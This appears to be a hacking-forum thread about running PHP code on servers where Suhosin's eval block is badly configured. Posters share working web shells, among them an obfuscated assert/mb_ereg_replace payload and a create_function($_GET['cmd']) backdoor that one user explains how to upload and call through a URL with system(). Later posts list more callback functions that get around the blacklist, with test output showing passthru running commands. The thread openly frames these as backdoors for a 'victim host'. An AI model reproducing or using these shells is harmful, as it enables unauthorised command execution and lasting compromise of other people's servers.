[frictionless]

no preg_replace() with e modifier deprecated in php 5.5
but heres one everyone seems to overlook ;)

PHP Code


<?=@assert(mb_ereg_replace('/.*/', "print('\\1')", filter_input(1,_,516), 'e'));/* ?_=system('id'); */?>

[Illicit]

I'm unsure what that your statement is implying, as this has nothing to do with variables being sanitized.
Thank you for your kind words.

Im new to hacking, could you explain what caused the vulnerability? Was it not that the variables remained unsanitized?

[Phizo]

no preg_replace() with e modifier deprecated in php 5.5
but heres one everyone seems to overlook ;)

PHP Code


<?=@assert(mb_ereg_replace('/.*/', "print('\\1')", filter_input(1,_,516), 'e'));/* ?_=system('id'); */?>

The reason I said I would slap people for suggesting it isn't because it's deprecated in the latest PHP version (it isn't even a huge deal.)
The reason is because it invokes eval(), thus it won't work due to suhosin.executor.disable_eval.
This applies to your code, as well. *slaps you*

Im new to hacking, could you explain what caused the vulnerability? Was it not that the variables remained unsanitized?

Of course. c:

I'm unsure what variables you are referring to, as variables are irrelevant to the to circumvention of Suhosin's improperly configured function blacklist.
This "vulnerability" is caused due to misconfiguration of suhosin.executor.func.blacklist, as said in the tutorial.
A server administrator may add certain functions to the blacklist, but not the ones I've posted or ones that you may have discovered after researching, as advised. You would be better off using a whitelist (no doubt), just so you're aware.

If you're still puzzled by that explanation, I don't mind explaining further. Feel free to ask any questions you may have and I'll attempt to answer them for you.

[Kyle1995]

Really great tutorial. Keep them coming!

[Illicit]

The reason I said I would slap people for suggesting it isn't because it's deprecated in the latest PHP version (it isn't even a huge deal.)
The reason is because it invokes eval(), thus it won't work due to suhosin.executor.disable_eval.
This applies to your code, as well. *slaps you*

Of course. c:

I'm unsure what variables you are referring to, as variables are irrelevant to the to circumvention of Suhosin's improperly configured function blacklist.
This "vulnerability" is caused due to misconfiguration of suhosin.executor.func.blacklist, as said in the tutorial.
A server administrator may add certain functions to the blacklist, but not the ones I've posted or ones that you may have discovered after researching, as advised. You would be better off using a whitelist (no doubt), just so you're aware.

If you're still puzzled by that explanation, I don't mind explaining further. Feel free to ask any questions you may have and I'll attempt to answer them for you.

Thanks very much for your helpful response, Ill explain my previous post within the code shown:

Code

$eval = create_function(null, $_GET['cmd']);   // Methinks this should have been sanitized!
$eval();

Was that not the reason? Have the programmers made a mistake?

EDIT: And what would the vulnerability lead to? The ability to access the forum despite the blacklist?

[Phizo]

Thanks very much for your helpful response, Ill explain my previous post within the code shown:

Code

$eval = create_function(null, $_GET['cmd']);   // Methinks this should have been sanitized!
$eval();

Was that not the reason? Have the programmers made a mistake?

EDIT: And what would the vulnerability lead to? The ability to access the forum despite the blacklist?

Are you referring to Suhosin monitoring and sanitising input? I believe it does eliminate LFI and SQLi that way, but that doesn't apply to PHP code in general.
If an IDS is in place, whether it be just for the PHP implementation (superglobals) or one that greps incoming HTTP requests, obfuscation can be used as circumvention.

After reading the sentence after the code-block, I get the impression that you're not understanding what's said in the tutorial.
That is my code, not a snippet from Suhosin. You wouldn't sanitise your own code, that would cripple your shell.

These are just simple shells, are you aware of what they are?
It's essentially a file written to a directory as a backdoor, providing command execution.

[Illicit]

Are you referring to Suhosin monitoring and sanitising input? I believe it does eliminate LFI and SQLi that way, but that doesn't apply to PHP code in general.
If an IDS is in place, whether it be just for the PHP implementation (superglobals) or one that greps incoming HTTP requests, obfuscation can be used as circumvention.

After reading the sentence after the code-block, I get the impression that you're not understanding what's said in the tutorial.
That is my code, not a snippet from Suhosin. You wouldn't sanitise your own code, that would cripple your shell.

These are just simple shells, are you aware of what they are?
It's essentially a file written to a directory as a backdoor, providing command execution.

Slaps himself
Oh I completely misunderstood the nature of this tutorial, I thought these where code snippets of vulnerabilities which could be exploited, because of this I was surprised they would make such a mistake.

So how does one inject a shell? Ill re-read the tutorial , perhaps Ill understand it more , once again thanks for the persistent help.

[Phizo]

*Slaps himself*
Oh I completely misunderstood the nature of this tutorial, I thought these where code snippets of vulnerabilities which could be exploited, because of this I was surprised they would make such a mistake.

So how does one inject a shell? Ill re-read the tutorial , perhaps Ill understand it more , once again thanks for the persistent help.

This tutorial doesn't cover how to attain shell access to the victim host, that's all up to you.
These are just a few things to try on a terrible implementation of Suhosin, to provide yourself with PHP code execution, which can further be used to provide yourself with shell command execution.

It's not a problem. If you put effort into learning, I don't mind answering questions.

[Illicit]

Yes.. Im back, after re-reading your post I was once more unable to conceive how to run the PHP code?
You seamed to have only covered the code itself (except for when mentioning sending requests into a port connection)

[cheatson]

Yes.. Im back, after re-reading your post I was once more unable to conceive how to run the PHP code?
You seamed to have only covered the code itself (except for when mentioning sending requests into a port connection)

If you were able to upload a php file, say suhosin.php with this code in it:

PHP Code


<?
$eval = create_function(null, $_GET['cmd']);  
$eval();   
?>

Then you would run it with:

Code

http://site.com/suhosin.php?cmd=system('enter command here');

[Illicit]

If you were able to upload a php file, say suhosin.php with this code in it:

PHP Code


<?
$eval = create_function(null, $_GET['cmd']);  
$eval();   
?>

Then you would run it with:

Code

http://site.com/suhosin.php?cmd=system('enter command here');

Thanks for your helpful responce. I am very grateful.

[Phizo]

I got off my lazy behind and decided to install Suhosin, as I require it for development testing.
This is the default installation (patch and extension) with suhosin.executor.disable_eval = On:

Code

bash-3.2# php -v
PHP 5.3.15 with Suhosin-Patch (cli) (built: Dec  9 2012 19:32:02)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
    with Suhosin v0.9.33, Copyright (c) 2007-2012, by SektionEins GmbH

bash-3.2# php -r 'eval("echo 1;");'
PHP Fatal error:  SUHOSIN - Use of eval is forbidden by configuration in Command line code(1) : eval()'d code on line 1

These have all been tested and proved working on this installation.
Note: I did more than just test if they're callable.

PHP Code


<?php 
$methods   = array('create_function', 'call_user_func', 'call_user_func_array');
$anonymous = function () {};

foreach($methods as $method)
    if(is_callable($method)) echo "{$method} works." . PHP_EOL;

if(is_callable($anonymous))
    echo 'Manual lambda-style functions work.'; 


Code

bash-3.2# php test.php
create_function works.
call_user_func works.
call_user_func_array works.
Manual lambda-style functions work.

Any alternatives should work, provided they aren't blacklisted.

[Cathal]

This was very helpful with regards to a lil project I'm working on. Phizo continues to contribute even from the grave.

[Kubrickian]

Cheers for this inspiring TuT my friend. Thanks very much mate. Bumped for brevity.

[Tony S]

I know this thread is old and it's just been bumped but I'll list a couple more functions that you can use.

register_shutdown_function()
Spoiler (Click to View)

PHP Code


<?php register_shutdown_function($argv[1], $argv[2]); ?>

Code

$ php test.php passthru "echo 123"
123

register_tick_function()
Spoiler (Click to View)

PHP Code


<?php declare(ticks = 1); register_tick_function($argv[1], $argv[2]); ?>

Code

$ php test.php passthru "echo 123"
123

The ReflectionFunction class (invoke/invokeArgs methods)
Spoiler (Click to View)

PHP Code


<?php $f = new ReflectionFunction($argv[1]); $f->invokeArgs([$argv[2]]); ?>

Code

$ php test.php passthru "echo 123"
123

array_map()
Spoiler (Click to View)

PHP Code


<?php die(array_map($argv[1], [$argv[2]])[0]); ?>

Code

$ php test.php passthru "echo 123"
123

Along with most of the functions that accept callbacks ~
Spoiler (Click to View)

Code

Function      => Position of callback arguments
'ob_start'      =>  0,
'array_diff_uassoc'      => -1,
'array_diff_ukey'      => -1,
'array_filter'      =>  1,
'array_intersect_uassoc'     => -1,
'array_intersect_ukey'      => -1,
'array_map'      =>  0,
'array_reduce'      =>  1,
'array_udiff_assoc'      => -1,
'array_udiff_uassoc'      => array(-1, -2),
'array_udiff'      => -1,
'array_uintersect_assoc'     => -1,
'array_uintersect_uassoc'    => array(-1, -2),
'array_uintersect'      => -1,
'array_walk_recursive'      =>  1,
'array_walk'      =>  1,
'assert_options'      =>  1,
'uasort'      =>  1,
'uksort'      =>  1,
'usort'      =>  1,
'preg_replace_callback'      =>  1,
'spl_autoload_register'      =>  0,
'iterator_apply'      =>  1,
'call_user_func'      =>  0,
'call_user_func_array'      =>  0,
'register_shutdown_function' =>  0,
'register_tick_function'     =>  0,
'set_error_handler'      =>  0,
'set_exception_handler'      =>  0,
'session_set_save_handler'   => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate'    => array(2, 3),
'sqlite_create_function'     =>  2,